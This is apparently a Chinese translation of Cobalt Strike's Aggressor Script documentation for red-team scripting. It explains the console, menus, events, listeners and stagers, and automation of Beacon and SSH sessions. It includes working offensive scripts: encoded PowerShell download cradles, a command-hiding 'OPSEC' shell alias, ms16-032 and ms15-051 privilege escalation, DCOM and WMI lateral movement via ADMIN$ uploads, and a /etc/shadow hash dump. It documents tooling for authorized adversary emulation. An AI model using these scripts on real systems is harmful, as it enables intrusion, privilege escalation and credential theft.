14.1、什么是Aggressor脚本
Aggressor Script 是Cobalt Strike 3.0版及更高版本中内置的脚本语言。Aggressor 脚本允许你修改和扩展 Cobalt Strike 客户端。
历史
Aggressor Script 是 Armitage 中开源脚本引擎Cortana的精神继承者。Cortana 是通过与 DARPA 的网络快速跟踪计划(Cyber Fast Track program)签订合同而实现的。Cortana 允许用户扩展 Armitage,并通过Armitage的团队服务器控制 Metasploit 框架及其功能。Cobalt Strike 3.0是Cobalt Strike在没有Armitage作为基础的情况下进行的全面重写。这一改动为重新审视Cobalt Strike的脚本并围绕Cobalt Strike的功能构建一些东西提供了机会。这项工作的成果就是 Aggressor Script。
Aggressor Script 是一种脚本语言,用于红队行动和对手模拟,其灵感来自可编写脚本的IRC客户端和机器人。它有两个目的。你可以创建长期运行的机器人,模拟虚拟的红队成员,与你并肩作战。你还可以根据自己的需要扩展和修改 Cobalt Strike 客户端。
现状
Aggressor Script是Cobalt Strike 3.0的基础。Cobalt Strike 3.0中的大部分弹出菜单和事件展示都是由Aggressor脚本引擎管理的。尽管如此,Aggressor 脚本仍处于起步阶段。Strategic Cyber LLC还没有为Cobalt Strike的大部分功能建立应用程序接口。随着时间的推移,Aggressor脚本将会不断发展。
# 14.2、如何加载脚本
Aggressor 脚本内置于 Cobalt Strike 客户端中。要永久加载脚本,请转至 Cobalt Strike -> Script Manager 并点击Load。


# 14.3、脚本控制台
Cobalt Strike 提供了一个控制台来控制你的脚本并与之交互。通过控制台,你可以跟踪、分析、调试和管理你的脚本。Aggressor Script 控制台可通过 Cobalt Strike-> Script Console访问。
控制台中可以使用以下命令:
| Command | Arguments | What it does |
|---|---|---|
| ? | "foo" iswm "foobar" | evaluate a sleep predicate and print result |
| e | println("foo"); | evaluate a sleep statement |
| help | list all of the commands available | |
| load | /path/to/script.cna | load an Aggressor Script script |
| ls | list all of the scripts loaded | |
| proff | script.cna | disable the Sleep profiler for the script |
| profile | script.cna | dumps performance statistics for the script. |
| pron | script.cna | enables the Sleep profiler for the script |
| reload | script.cna | reloads the script |
| troff | script.cna | disable function trace for the script |
| tron | script.cna | enable function trace for the script |
| unload | script.cna | unload the script |
| x | 2 + 2 | evaluate a sleep expression and print result |

14.4、无头Cobalt Strike
你可以在不使用 Cobalt Strike 图形用户界面的情况下使用 Aggressor 脚本。agscript 程序(包含在 Cobalt Strike Linux 软件包中)可运行无头Cobalt Strike客户端。agscript 程序需要四个参数:
./agscript [host] [port] [user] [password]
这些参数会将无头 Cobalt Strike 客户端连接到你指定的团队服务器。无头 Cobalt Strike 客户端会显示 Aggressor 脚本控制台。

你可以使用 agscript 立即连接到团队服务器,并运行你选择的脚本。使用方法:
./agscript [host] [port] [user] [password] [/path/to/script.cna]
该命令将无头 Cobalt Strike 客户端连接到团队服务器,加载并运行脚本。无头Cobalt Strike客户端会在与团队服务器同步之前运行你的脚本。使用 on ready命令可等待无头Cobalt Strike客户端完成数据同步步骤。
on ready {println("Hello World! I am synchronized!");closeClient();
}
# 14.5、Sleep脚本快速入门
Aggressor Script 建立在 Raphael Mudge 的 Sleep 脚本语言之上。Sleep脚本语言手册位于:
http://sleep.dashnine.org/manual/
Aggressor Script 会执行 Sleep 执行的任何操作。为了保持理智,你应该了解以下几件事。
-
Sleep的语法、运算符和惯用语与Perl脚本语言相似。但有一个主要区别会让新程序员感到困惑。Sleep要求在运算符和术语之间留出空白。以下代码无效:$x=1+2; # this will not parse!!
但以下写法是有效的:
$x = 1 + 2;
-
Sleep变量被称为标量,标量包含字符串、各种格式的数字、Java 对象引用、函数、数组和字典。下面是Sleep中的几个赋值:$x = "Hello World"; $y = 3; $z = @(1, 2, 3, "four"); $a = %(a => "apple", b => "bat", c => "awesome language", d => 4); -
数组和字典使用
@和%函数创建。数组和字典可以引用其他数组和字典。数组和字典甚至可以引用自身。 -
注释以
#开始,直到行尾。 -
Sleep插入双引号字符串。这意味着以$符号开头的任何空白分隔标记都会被其值替换。特殊变量$+会将插值字符串与另一个值连接起来。println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");这将打印出:
$a is: %(d => 4, b => 'bat', c => 'awesome language', a => 'apple') and $x joined with $y is: Hello World3 -
有一个函数叫做
&warn。它的工作方式类似于&println,只不过它还包含当前脚本名称和行号。这是调试代码的一个很棒的功能。 -
Sleep函数是用sub关键字声明的。函数的参数标记为$1、$2,一直到$n。函数将接受任意数量的参数。变量@_也是一个包含所有参数的数组。对$1、$2等的更改将改变@_的内容。sub addTwoValues {println($1 + $2); }addTwoValues("3", 55.0);该脚本打印出:
58.0 -
在
Sleep中,函数与任何其他对象一样都是一等类型。以下是你可能会看到的一些内容:$addf = &addTwoValues; -
$addf变量现在引用了&addTwoValues函数。要调用变量中的函数,请使用:[$addf : "3", 55.0]; -
此括号表示法也用于操作
Java对象。如果你有兴趣了解更多信息,建议你阅读Sleep手册。以下语句是等效的,并且它们执行相同的操作:[$addf : "3", 55.0]; [&addTwoValues : "3", 55.0]; [{ println($1 + $2); } : "3", 55.0];addTwoValues("3", 55.0); -
Sleep有三种变量作用域:全局变量、特定闭包变量和局部变量。Sleep手册对此有更详细的介绍。如果你在示例中看到local('$x $y $z'),这意味着$x、$y 和 $z是当前函数的局部变量,它们的值将在函数返回时消失。Sleep对变量使用词法作用域。
Sleep 具有你在脚本语言中所期望的所有其他基本结构。你应该阅读手册以了解更多信息。
# 14.6、与用户交互
Aggressor 脚本使用 Sleep 的 &println、&printAll、&writeb 和 &warn 函数显示输出。这些函数将输出显示到脚本控制台。
脚本也可以注册命令。这些命令允许脚本通过控制台接收来自用户的触发。使用 command 关键字来注册命令:
command foo{println("Hello $1");
}
此代码段注册了 foo 命令。脚本控制台会自动解析命令的参数,并按空格将其分割为若干标记。$1 是第一个标记,$2 是第二个标记,以此类推。通常情况下,标记由空格分隔,但用户也可以使用 “双引号 ”来创建带有空格的标记。如果这种解析会影响你对输入内容的处理,可以使用$0访问传给命令的原始文本。

颜色
你可以为 Cobalt Strike 控制台输出的文本添加颜色和样式。\c、\U 和 \o转义字符告诉Cobalt Strile如何格式化文本。这些转义符只能在双引号字符串内解析。

\U 转义符会给后面的文字加上下划线。第二个\U会停止下划线格式。
\o 转义符会重置其后面的文本的格式。换行符也会重置文本格式。
# 14.7、Cobalt Strike
Cobalt Strike 客户端
Aggressor 脚本引擎是Cobalt Strike的粘合剂。大多数Cobalt Strike对话框和功能都是以独立模块的形式编写的,这些模块都为Aggressor脚本引擎提供了一些接口。
内部脚本default.cna定义了默认的 Cobalt Strike 体验。该脚本定义了 Cobalt Strike 的工具栏按钮、弹出菜单,并且还格式化了大多数 Cobalt Strike 事件的输出。
本节将向你展示这些功能的工作原理,并使你能够根据自己的需求设计 Cobalt Strike 客户端。

键盘快捷键
脚本可以创建键盘快捷键。使用bind关键字绑定键盘快捷键。本例中,当同时按下 Ctrl + H 键时,对话框中会显示 Hello World!。
bind Ctrl+H {show_message("Hello World!");
}
键盘快捷键可以是任何 ASCII 字符或特殊键。快捷方式可能应用了一个或多个修饰符。修饰键是以下键之一:Ctrl、Shift、Alt 或 Meta。脚本可以指定修饰符+键。
弹出式菜单
脚本还可以添加或重新定义 Cobalt Strike 的菜单结构。popup 关键字可以为弹出钩子建立菜单层次结构。
下面是定义 Cobalt Strike 帮助菜单的代码:
popup help {item("&Homepage", { url_open("https://www.cobaltstrike.com/"); });item("&Support", { url_open("https://www.cobaltstrike.com/support"); });item("&Arsenal", { url_open("https://www.cobaltstrike.com/scripts"); });separator();item("&Malleable C2 Profile", { openMalleableProfileDialog(); });item("&System Information", { openSystemInformationDialog(); });separator();item("&About", { openAboutDialog(); });
}
该脚本与帮助弹出式钩子钩子,并定义了多个菜单项。菜单项名称中的 & 是其键盘快捷键。当用户单击每个项目时,就会执行与每个项目关联的代码块。
脚本也可以定义子菜单。 menu 关键字定义一个新菜单。当用户将鼠标悬停在菜单上时,与其关联的代码块将被执行并用于构建子菜单。
下面以Pivot Graph菜单为例进行说明:
popup pgraph {menu "&Layout" {item "&Circle" { graph_layout($1, "circle"); }item "&Stack" { graph_layout($1, "stack"); }menu "&Tree" {item "&Bottom" { graph_layout($1, "tree-bottom"); }item "&Left" { graph_layout($1, "tree-left"); }item "&Right" { graph_layout($1, "tree-right"); }item "&Top" { graph_layout($1, "tree-top"); }}separator();item "&None" { graph_layout($1, "none"); }}
}
如果你的脚本为 Cobalt Strike 菜单钩子指定了一个菜单层次结构,那么它将添加到已经存在的菜单中。请使用 &popup_clear 函数清除其他已注册的菜单项,并根据自己的喜好重新定义弹出式菜单层次结构。
自定义输出
Aggressor Script 中的set关键字定义如何格式化事件并将其输出呈现给用户。以下是 set 关键字的示例:
set EVENT_SBAR_LEFT {return "[" . tstamp(ticks()) . "] " . mynick();
}set EVENT_SBAR_RIGHT {return "[lag: $1 $+ ]";
}
上面的代码定义了 Cobalt Strike 事件日志中状态栏的内容(View -> Event Log)。该状态栏的左侧显示当前时间和你的昵称。右侧显示Cobalt Strike客户端和团队服务器之间消息的往返时间。
你可以覆盖 Cobalt Strike 默认脚本中的任何设置选项。创建包含你关心的事件定义的文件。将其载入 Cobalt Strike。Cobalt Strike 将使用你的定义,而不是内置定义。
事件
使用 on 关键字可定义事件的处理程序。当 Cobalt Strike 与团队服务器连接并准备好代表你采取行动时,将触发 Ready 事件。
on ready {show_message("Ready for action!");
}
Cobalt Strike 会针对各种情况生成事件。使用 * 元事件来观看 Cobalt Strike 触发的所有事件。
on * {local('$handle $event $args');$event = shift(@_);$args = join(" ", @_);$handle = openf(">>eventspy.txt");writeb($handle, "[ $+ $event $+ ] $args");closef($handle);
}
# 14.8、数据模型
Cobalt Strike 的团队服务器会存储你的主机、服务、证书和其他信息。它还会广播这些信息,并提供给所有客户端。
Data API
使用 &data_query 函数来查询 Cobalt Strike 的数据模型。该函数可以访问Cobalt Strike客户端维护的所有状态和信息。使用 &data_keys 函数可以获得不同数据的查询列表。下面例子查询 Cobalt Strike 数据模型中的所有数据,并将其导出到文本文件中:
command export {local('$handle $model $row $entry $index');$handle = openf(">export.txt");foreach $model (data_keys()) {println($handle, "== $model ==");println($handle, data_query($model));}closef($handle);println("See export.txt for the data.");
}
Cobalt Strike 提供多种功能,使数据模型的操作更加直观。
| Model | Function | Description |
|---|---|---|
| applications | &applications | System Profiler Results 系统分析器结果[View -> Applications] |
| archives | &archives | Engagement events/activities(参与事件/活动) |
| beacons | &beacons | Active beacons(活动beacons) |
| credentials | &credentials | Usernames, passwords, etc.(用户名、密码等) |
| downloads | &downloads | Downloaded files(下载的文件) |
| keystrokes | &keystrokes | Keystrokes received by Beacon(Beacon 收到的击键) |
| screenshots | &screenshots | Screenshots captured by Beacon(Beacon 捕获的屏幕截图) |
| services | &services | Services and service information(服务及服务信息) |
| sites | &sites | Assets hosted by Cobalt Strike(由 Cobalt Strike 托管的资产) |
| socks | &pivots | SOCKS proxy servers and port forwards(SOCKS 代理服务器和端口转发) |
| targets | &targets | Hosts and host information(主机和主机信息) |
这些函数返回一个数组,数据模型中的每个条目都有一行。每个条目都是一个字典,其中包含描述条目的不同键/值对。
了解数据模型的最佳方法是通过 Aggressor 脚本控制台进行探索。进入View -> Script Console,并使用 x 命令计算表达式。例如:

使用 DATA_KEY 订阅特定数据模型的更改。
on keystrokes {println("I have new keystrokes: $1");
}
# 14.9、监听器
监听器是 Cobalt Strike 在payload处理程序之上的抽象。侦听器是附加到payload配置信息(例如协议、主机、端口等)的名称,在某些情况下,监听器还承诺设置一个服务器来接收来自所描述payload的连接。
监听器API
Aggressor 脚本从你当前连接的所有团队服务器中汇总监听器信息。这样就可以轻松地将会话传递给另一个团队服务器。要获取所有监听器名称的列表,请使用 &listeners 函数。如果只想使用本地监听器,请使用 &listeners_local。&listener_info 函数将监听器名称解析为其配置信息。本例将所有监听器及其配置信息转储到Aggressor脚本控制台:
command listeners {local('$name $key $value');foreach $name (listeners()) {println("== $name == ");foreach $key => $value (listener_info($name)) {println("$[20]key : $value");}}
}
创建监听器
使用 &listener_create_ext 创建监听器,并启动与其关联的payload处理程序。
选择监听器
使用 &openPayloadHelper 打开一个列出所有可用监听器的对话框。用户选择监听器后,对话框将关闭,Cobalt Strike 将运行一个回调函数。以下是Beacon生成菜单的源代码:
item "&Spawn" {openPayloadHelper(lambda({binput($bids, "spawn $1");bspawn($bids, $1);}, $bids => $1));
}
Stagers
stager 是一个小程序,它下载有效负载并将执行传递给它。Stagers非常适合大小受限的payload传递向量(例如,用户驱动的攻击、内存损坏漏洞或单行命令)。不过Stagers也有缺点。它们会在攻击链中引入一个额外的组件,而这个组件有可能被破坏。Cobalt Strike 的 stager 基于 Metasploit 框架中的 stager。如果有必须的话,也可以使用特定于payload的 stager;但最好避免使用它们。
使用 &stager 导出与 Cobalt Strike ``payload相关的payload stager。并非所有payload选项都有显式payload stager。并非所有 stager 都有x64选项。
&artifact_stager 函数将导出 PowerShell 脚本、可执行文件或 DLL,以运行与 Cobalt Strike payload相关联的 stager。
Local Stagers
对于需要使用 stager 的后渗透操作,请使用仅限 localhost 的 bind_tcp stager。使用此stager可以使分段所需的后渗透操作能够同等地与 Cobalt Strike 的所有payload一起使用。
使用&stager_bind_tcp导出bind_tcp payload stager。使用 &beacon_stage_tcp 将payload传送到此 stager。
&artifact_general 将接受这些任意代码,并生成PowerShell脚本、可执行文件或 DLL 以托管这些代码。
命名管道Stagers
Cobalt Strike 确实有一个 bind_pipe stager,对于某些横向移动情况很有用。此 stager 仅适用于 x86。使用 &stager_bind_pipe 导出此 bind_pipe stager。使用 &beacon_stage_pipe 将payload传送到此 stager。
&artifact_general 将接受这些任意代码,并生成PowerShell脚本、可执行文件或 DLL 以托管这些代码。
Stageless Payloads
使用&payload将 Cobalt Strike payload(完整)导出为可立即运行的位置无关程序。
&artifact_general 将接受这些任意代码,并生成PowerShell脚本、可执行文件或 DLL 以托管这些代码。
# 14.10、Beacon
Beacon 是 Cobalt Strike 的异步后渗透代理。在本节中,我们将探索使用 Cobalt Strike 的 Aggressor 脚本实现 Beacon 自动化的选项。
元数据
Cobalt Strike 为每个 Beacon 分配一个会话 ID。这个ID是一个随机数。 Cobalt Strike 将任务和元数据与每个 Beacon ID 相关联。使用&beacons查询所有当前Beacon会话的元数据。使用&beacon_info查询特定Beacon会话的元数据。下面是一个转储每个 Beacon 会话信息的脚本:
command beacons {local('$entry $key $value');foreach $entry (beacons()) {println("== " . $entry['id'] . " ==");foreach $key => $value ($entry) {println("$[20]key : $value");}println();
Aliases(别名)
你可以使用别名关键字定义新的 Beacon 命令。下面是一个 hello 别名,可在 Beacon 控制台中打印 Hello World。
alias hello {blog($1, "Hello World!");
}
将上述内容写入脚本,加载到 Cobalt Strike 中,然后打开 Beacon 控制台。然后输入 hello 命令并按回车键。Cobalt Strike 甚至会以制表符的形式为你完成别名设置。你应该能在Beacon控制台看到 Hello World!。
你还可以使用 &alias 函数定义别名。
Cobalt Strike 会将以下参数传递给别名:$0 是别名名称和参数,不做任何解析。 $1 是输入别名的 Beacon 的 ID。参数 $2 和 on 包含传递给别名的单个参数。别名解析器按空格分割参数。用户可以使用 “双引号 ”将单词组合成一个参数。
alias saywhat {blog($1, "My arguments are: " . substr($0, 8) . "\n");
}
你也可以在 Beacon 的帮助系统中注册别名。使用 &beacon_command_register 注册命令。
别名是扩展Beacon并使其成为你自己系统的便捷方法。别名还能很好地发挥 Cobalt Strike 的威胁模拟作用。你可以使用别名来编写复杂的入侵后行动脚本,使其与其他行动者的技术相结合。你的红队操作员只需加载脚本,学习别名。然后他们就可以按照与你正在模仿的行动者保持一致的方式使用你的脚本策略进行操作。
响应新的Beacons
Aggressor Script 的一个常见用途是对新的Beacons做出反应。使用 beacon_initial 事件设置在 Beacon 首次签入时应运行的命令。
on beacon_initial {# do some stuff
}
beacon_initial 的 $1 参数是新 Beacon 的 ID。
beacon_initial 事件会在beacon首次报告元数据时触发。这意味着 DNS Beacon在被要求运行命令之前不会触发 beacon_initial。要与第一次回拨的DNS Beacon交互,请使用 beacon_initial_empty 事件。
# some sane defaults for DNS Beacon
on beacon_initial_empty {bmode($1, "dns-txt");bcheckin($1);
}
弹出菜单
你还可以在 Beacons 弹出菜单中添加别名。别名虽好,但一次只能影响一个信标。通过弹出菜单,脚本的用户可以让多个Beacons同时执行所需的操作。
beacon_top 和 beacon_bottom 弹出钩子可让你添加到默认的 Beacon 菜单中。Beacon 弹出钩子的参数是所选 Beacon ID 的数组。
popup beacon_bottom {item "Run All..." {prompt_text("Which command to run?", "whoami /groups", lambda({binput(@ids, "shell $1");bshell(@ids, $1);}, @ids => $1));}
}
日志合约
Cobalt Strike 3.0 及更高版本在日志记录方面做得很好。向Beacon发出的每一条命令都会注明日期和时间戳,并归属于某个操作员。Cobalt Strike 客户端的beacon控制台会处理这些日志记录。为用户执行命令的脚本不会将命令或操作员归属记录到日志中。。该脚本负责执行此操作。使用&binput函数来执行此操作。该命令将向 Beacon 记录发送一条消息,就像用户键入了命令一样。
确认任务
自定义别名应调用&btask函数来描述用户请求的操作。此输出被发送到 Beacon 日志,并且也用于 Cobalt Strike 的报告中。大多数向 Beacon 发出任务的 Aggressor Script 函数都会打印自己的确认消息。如果你想抑制这种情况,请添加!到函数名称。这将运行该函数的安静变体。安静函数不会打印任务确认。例如, &bshell!是&bshell的安静变体。
alias survey {btask($1, "Surveying the target!", "T1082");bshell!($1, "echo Groups && whoami /groups");bshell!($1, "echo Processes && tasklist /v");bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");bshell!($1, "echo System Info && systeminfo");
}
&btask的最后一个参数是以逗号分隔的 ATT&CK 技术列表。 T1082是系统信息发现。 ATT&CK 是 MITRE Corporation 的一个项目,用于对攻击者行为进行分类和记录。 Cobalt Strike 使用这些技术来构建其战术、技术和程序报告。你可以在下列链接中了解有关 MITRE ATT&CK 矩阵的更多信息:https://attack.mitre.org/。
占领Shell
别名可覆盖现有命令。下面是 Beacon 的 powershell 命令的Aggressor脚本实现:
alias powershell {local('$args $cradle $runme $cmd');# $0 is the entire command with no parsing.$args = substr($0, 11);# generate the download cradle (if one exists) for an imported PowerShell script$cradle = beacon_host_imported_script($1);# encode our download cradle AND cmdlet+args we want to run$runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") );# Build up our entire command line.$cmd = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";# task Beacon to run all of this.btask($1, "Tasked beacon to run: $args", "T1086");beacon_execute_job($1, "powershell", $cmd, 1);
}
该别名定义了在 Beacon 中使用的 PowerShell 命令。我们使用$0来抓取所需的 PowerShell 字符串,而无需进行任何解析。重要的是要考虑到导入的 PowerShell 脚本(如果用户使用powershell-import导入了 PowerShell 脚本)。为此,我们使用了 &beacon_host_imported_script。该函数要求Beacon在绑定到本地主机的一次性 Web 服务器上托管导入的脚本。它还返回一个带有 PowerShell 下载器的字符串,用于下载并评估导入的脚本。PowerShell 中的 -EncodedCommand 标志接受 base64 字符串形式的脚本。但有一个问题。我们必须将字符串编码为 little endian UTF16 文本。这个别名使用 &str_encode 来实现这一点。&btask 调用会记录 PowerShell 的这次运行,并将其与战术 T1086 相关联。&beacon_execute_job 函数会让 Beacon 运行PowerShell并将其输出报告给 Beacon。
同样,我们也可以在Beacon中重新定义 shell 命令。这个别名创建了一个备用shell命令,将 Windows 命令隐藏在环境变量中。
alias shell {local('$args');$args = substr($0, 6);btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");bsetenv!($1, "_", $args);beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}
&btask 调用会记录我们的意图,并将其与战术 T1059 相关联。&bsetenv 将我们的 Windows 命令分配给环境变量 _。脚本使用!来抑制&bsetenv的任务确认。&beacon_execute_job 函数运行参数为 /C %_% 的 %COMSPEC%。这是因为 &beacon_execute_job 会解析命令参数中的环境变量。它不会解析参数中的环境变量。因此,我们可以使用%COMSPEC% 来定位用户的 shell,但将 %_% 作为参数传递而不立即插值。
权限提升(运行命令)
Beacon 的runasadmin命令尝试在提权的上下文中运行命令。该命令接受提权方式和命令(命令和参数:))。&beacon_elevator_register函数使新的提权方式可供 runasadmin 使用。
beacon_elevator_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_elevator);
该代码使用 Beacon 的runasadmin命令注册提权方式 ms16-032。同时还给出了说明。当用户输入 runasadmin ms16-032 notepad.exe 时,Cobalt Strike 将使用以下参数运行 &ms16_032_elevator:$1 是Beacon会话 ID。 $2 是命令和参数。下面是 &ms16_032_elevator 函数:
# Integrate ms16-032
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub ms16_032_elevator {local('$handle $script $oneliner');# acknowledge this commandbtask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");# read in the script$handle = openf(getFileProper(script_resource("modules"), "Invoke-MS16032.ps1"));$script = readb($handle, -1);closef($handle);# host the script in Beacon$oneliner = beacon_host_script($1, $script);# run the specified command via this exploit.bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $2 $+ \"", $oneliner);
该函数使用&btask向用户确认该操作。 &btask中的描述也将出现在 Cobalt Strike 的日志和报告中。 T1068是与此动作相对应的MITRE ATT&CK技术。
该函数的末尾使用&bpowerpick来运行Invoke-MS16032,并使用参数来运行我们的命令。不过,实现 Invoke-MS16032 的PowerShell脚本对于一行代码来说太大了。为了缓解这种情况,提权功能使用&beacon_host_script在 Beacon 内托管大型脚本。 &beacon_host_script函数返回一行以获取此托管脚本并对其进行评估。
&bpowerpick后面的感叹号告诉 Aggressor 脚本调用此函数的安静变体。安静函数不打印任务描述。
这里就不多说了。命令提权脚本只需运行一个命令即可。)
权限升级(派生会话)
Beacon 的elevate命令会尝试派生一个具有提升权限的新会话。该命令接受一个漏洞名称和一个监听器。&beacon_exploit_register函数使新的漏洞利用程序可用于提升权限。
beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);
此代码使用 Beacon 的 elevate 命令注册漏洞利用ms15-051 。还给出了描述。当用户输入elevate ms15-051 foo时,Cobalt Strike 将使用以下参数运行 &ms15_051_exploit: $1是beacon会话 ID。 $2是监听器名称(例如,foo)。下面是 &ms15_051_exploit 函数代码:
# Integrate windows/local/ms15_051_client_copy_image from Metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms15_051_client_copy_image.rb
sub ms15_051_exploit {local('$stager $arch $dll');# acknowledge this commandbtask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051", "T1068");# tune our parameters based on the target archif (-is64 $1) {$arch = "x64";$dll = getFileProper(script_resource("modules"), "cve-2015-1701.x64.dll");}else {$arch = "x86";$dll = getFileProper(script_resource("modules"), "cve-2015-1701.x86.dll");}# generate our shellcode$stager = payload($2, $arch);# spawn a Beacon post-ex job with the exploit DLLbdllspawn!($1, $dll, $stager, "ms15-051", 5000);# link to our payload if it's a TCP or SMB Beaconbeacon_link($1, $null, $2);
}
该函数使用&btask向用户确认该操作。 &btask中的描述也将出现在 Cobalt Strike 的日志和报告中。 T1068是与此动作相对应的MITRE ATT&CK技术。
该函数重新利用了Metasploit框架中的一个exploit。该漏洞利用模块被编译为支持 x86 和 x64 的 cve-2015-1701.[arch].dll。该函数的第一个任务是读取与目标系统体系结构相对应的漏洞利用 DLL。
&payload函数为我们的监听器名称和指定的体系结构生成原始输出。
&bdllspawn 函数会生成一个临时进程,将我们的漏洞利用DLL注入其中,并将我们导出的payload作为参数传递。这就是Metasploit Framework用来将shellcode传递到以 Reflective DLL 实现的权限升级漏洞的方式。
最后,该函数调用&beacon_link 。如果目标见提前是 SMB 或 TCP Beacon payload , &beacon_link将尝试连接到它。
横向移动(运行命令)
Beacon 的 remote-exec 命令试图在远程目标上运行一条命令。该命令接受远程执行方法、目标和命令 + 参数。&beacon_remote_exec_method_register函数既是一个很长的函数名,又为远程执行方法提供了一个新方法。
beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);
这段代码将remote-exec方法 com-mmc20 注册到 Beacon 的remote-exec命令中。同时还给出了说明。当用户输入 remote-exec com-mmc20 c:\windows\temp\malware.exe 时,Cobalt Strike 将运行 &mmc20_exec_method,参数如下: $1 是Beacon会话 ID。$2 是目标。$3 是命令和参数。下面是 &mmc20_exec_method 函数:
sub mmc20_exec_method {local('$script $command $args');# state what we're doing.btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");# separate our command and argumentsif ($3 ismatch '(.*?) (.*)') {($command, $args) = matched();}else {$command = $3;$args = "";}# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object$script = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';$script .= $2;$script .= '")).Document.ActiveView.ExecuteShellCommand("';$script .= $command;$script .= '", $null, "'; $script .= $args;$script .= '", "7");';# run the script we built upbpowershell!($1, $script, "");
}
该功能使用 &btask 确认任务并向操作员描述(以及日志和报告)。T1175 是与此操作相对应的 MITRE ATT&CK 技术。
然后,该函数将$3参数拆分为命令和参数两部分。这样做是因为该技术要求这些值是分开的。
之后,该函数会创建一个PowerShell命令字符串,如下所示:
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGETHOST")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");
此命令使用 MMC20.Application COM 对象在远程目标上执行命令。这种方法是由Matt Nelson发现的一种横向移动选项:https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
此函数使用&bpowershell来运行此 PowerShell 脚本。第二个参数是一个空字符串,用于抑制默认下载器(如果操作员之前运行过 powershell-import)。你也可以修改此示例以使用 &bpowerpick 运行此单行代码,而无需powershell.exe。
这个示例是作者向 Cobalt Strike 添加 Remote-exec 命令和 API 的主要动机之一。这是一个出色的“执行此命令”原语,但端到端武器化(生成会话)通常包括使用此原语在目标上运行PowerShell单行代码。由于种种原因,这在很多情况下并不是正确的选择。通过remote-exec接口公开这一基本要素,可以让你选择如何最好地利用这一功能(而不会强迫你做出你不希望做出的选择)。
横向移动(派生会话)
Beacon 的jump命令尝试在远程目标上生成新会话。此命令接受漏洞利用名称、目标和侦听器,&beacon_remote_exploit_register函数使新模块可用于jump。
beacon_remote_exploit_register("wmi", "x86", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x86"));
beacon_remote_exploit_register("wmi64", "x64", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x64"));
上述函数注册了 wmi 和wmi64选项,供jump命令使用。&lambda 函数复制了 &wmi_remote_spawn,并将 $arch 设置为该函数副本的静态变量。通过这种方法,我们可以使用相同的逻辑在一个实现中提供两个横向移动选项。下面是 &wmi_remote_spawn 函数:
# $1 = bid, $2 = target, $3 = listener
sub wmi_remote_spawn {local('$name $exedata');btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3) . ") via WMI", "T1047");# we need a random file name.$name = rand(@("malware", "evil", "detectme")) . rand(100) . ".exe";# generate an EXE. $arch defined via &lambda when this function was registered with# beacon_remote_exploit_register$exedata = artifact_payload($3, "exe", $arch);# upload the EXE to our target (directly)bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name", $exedata);# execute this via WMIbrun!($1, "wmic /node:\" $+ $2 $+ \" process call create \"\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name $+ \"");# assume control of our payload (if it's an SMB or TCP Beacon)beacon_link($1, $2, $3);
&btask 函数履行了我们记录用户意图的义务。T1047 参数将此操作与 MITRE ATT&CK 矩阵中的战术 1047 相关联。
&artfiact_payload 函数生成一个stageless 可执行程序来运行我们的payload。它使用 Artifact Kit 钩子来生成此执行文件。
&bupload_raw 函数将工件数据上传到目标。该函数使用 \\target\ADMIN$\filename.exe 直接将EXE通过管理员专用共享写入远程目标。
&brun运行wmic /node:"target" 进程调用 create "\\target\ADMIN$\filename.exe"以执行远程目标上的文件。
如果payload是 SMB 或 TCP Beacon,则 &beacon_link 承担对paylaod的控制。
# 14.11、SSH会话
Cobalt Strike的SSH客户端使用SMB Beacon协议,并实现了Beacon命令和功能的子集。从Aggressor脚本的角度来看,SSH会话就是命令较少的Beacon会话。
是什么类型的会话?
与 Beacon 会话一样,SSH 会话也有一个 ID。Cobalt Strike 会将任务和元数据与此 ID 关联。&beacons 函数还会返回所有 Cobalt Strike 会话(SSH 会话和 Beacon 会话)的信息。使用 -isssh 参数测试会话是否为 SSH 会话。使用 -isbeacon 测试会话是否为 Beacon 会话。
以下是仅过滤 SSH 会话信标的函数:
sub ssh_sessions {return map({if (-isssh $1['id']) {return $1;}else {return $null;}}, beacons());
}
别名
可以使用 ssh_alias 关键字将命令添加到 SSH 控制台。如果你是管理员,这里有一个别名 hashdump 以获取 /etc/shadow 的脚本。
ssh_alias hashdump {if (-isadmin $1) {bshell($1, "cat /etc/shadow");}else {berror($1, "You're (probably) not an admin");}
}
将以上内容放入脚本中,将其加载到 Cobalt Strike 中,然后在 SSH 控制台中输入 hashdump。 Cobalt Strike 也会标记完整的 SSH 别名。
你还可以使用 &ssh_alias 函数定义 SSH 别名。
Cobalt Strike 会将以下参数传递给别名:$0 是别名名称和参数,不做任何解析。$1 是输入别名的会话 ID。参数 $2 和on包含传递给别名的单个参数。别名解析器用空格分割参数。用户可以使用 “双引号 ”将单词组合成一个参数。
你还可以使用 SSH 控制台的帮助系统注册你的别名。使用 &ssh_command_register 注册命令。
响应新的 SSH 会话
Aggressor 脚本也可以对新的 SSH 会话做出反应。使用 ssh_initial 事件来设置 SSH 会话传入时应运行的命令。
on ssh_initial {# do some stuff
}
ssh_initial 的$1参数是新会话的 ID。
弹出菜单
